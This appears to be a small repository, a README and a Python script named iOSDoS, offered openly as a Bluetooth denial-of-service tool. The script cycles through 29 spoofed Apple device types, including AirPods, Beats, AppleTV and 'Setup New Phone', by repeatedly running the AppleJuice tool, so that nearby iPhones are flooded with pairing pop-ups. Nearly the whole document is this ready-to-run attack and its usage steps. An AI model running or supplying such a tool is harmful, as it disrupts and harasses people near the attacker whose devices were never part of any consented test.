├── README.md └── dos.py /README.md: -------------------------------------------------------------------------------- 1 | # iOSDoS 2 | 3 | This script will circle every 5 seconds through all available gadget devices provided by [AppleJuice](https://github.com/ECTO-1A/AppleJuice/) to make nearby iOS devices receive pairing pop-up. You could see the demonstration video and explanation documented in the [Spoof iOS devices with Bluetooth pairing messages using Android](https://www.mobile-hacker.com/2023/09/07/spoof-ios-devices-with-bluetooth-pairing-messages-using-android/) blog. 4 | 5 | # usage 6 | Copy the dos.py script into the same directory as AppleJuice. 7 | Run: python3 dos.py 8 | -------------------------------------------------------------------------------- /dos.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # copy this script into the same directory as https://github.com/ECTO-1A/AppleJuice/ 3 | # more info: mobile.hacker.com 4 | 5 | import os 6 | import sys 7 | import time 8 | import subprocess as sp 9 | 10 | def runApp(number): 11 | extProc = sp.Popen(['python3','app.py','-d',number]) 12 | status = sp.Popen.poll(extProc) 13 | time.sleep(6) 14 | sp.Popen.terminate(extProc) 15 | 16 | if __name__ == "__main__": 17 | #global configFile 18 | runApp("1") 19 | runApp("2") 20 | runApp("3") 21 | runApp("4") 22 | runApp("5") 23 | runApp("6") 24 | runApp("7") 25 | runApp("8") 26 | runApp("9") 27 | runApp("10") 28 | runApp("11") 29 | runApp("12") 30 | runApp("13") 31 | runApp("14") 32 | runApp("15") 33 | runApp("16") 34 | runApp("17") 35 | runApp("18") 36 | runApp("19") 37 | runApp("20") 38 | runApp("21") 39 | runApp("22") 40 | runApp("23") 41 | runApp("24") 42 | runApp("25") 43 | runApp("26") 44 | runApp("27") 45 | runApp("28") 46 | runApp("29") 47 | 48 | """ 49 | 1: "Airpods", 50 | 2: "Airpods Pro", 51 | 3: "Airpods Max", 52 | 4: "Airpods Gen 2", 53 | 5: "Airpods Gen 3", 54 | 6: "Airpods Pro Gen 2", 55 | 7: "PowerBeats", 56 | 8: "PowerBeats Pro", 57 | 9: "Beats Solo Pro", 58 | 10: "Beats Studio Buds", 59 | 11: "Beats Flex", 60 | 12: "BeatsX", 61 | 13: "Beats Solo3", 62 | 14: "Beats Studio3", 63 | 15: "Beats Studio Pro", 64 | 16: "Beats Fit Pro", 65 | 17: "Beats Studio Buds+", 66 | 18: "AppleTV Setup", 67 | 19: "AppleTV Pair", 68 | 20: "AppleTV New User", 69 | 21: "AppleTV AppleID Setup", 70 | 22: "AppleTV Wireless Audio Sync", 71 | 23: "AppleTV Homekit Setup", 72 | 24: "AppleTV Keyboard", 73 | 25: "AppleTV 'Connecting to Network'", 74 | 26: "Homepod Setup", 75 | 27: "Setup New Phone", 76 | 28: "Transfer Number to New Phone", 77 | 29: "TV Color Balance" 78 | """ 79 | --------------------------------------------------------------------------------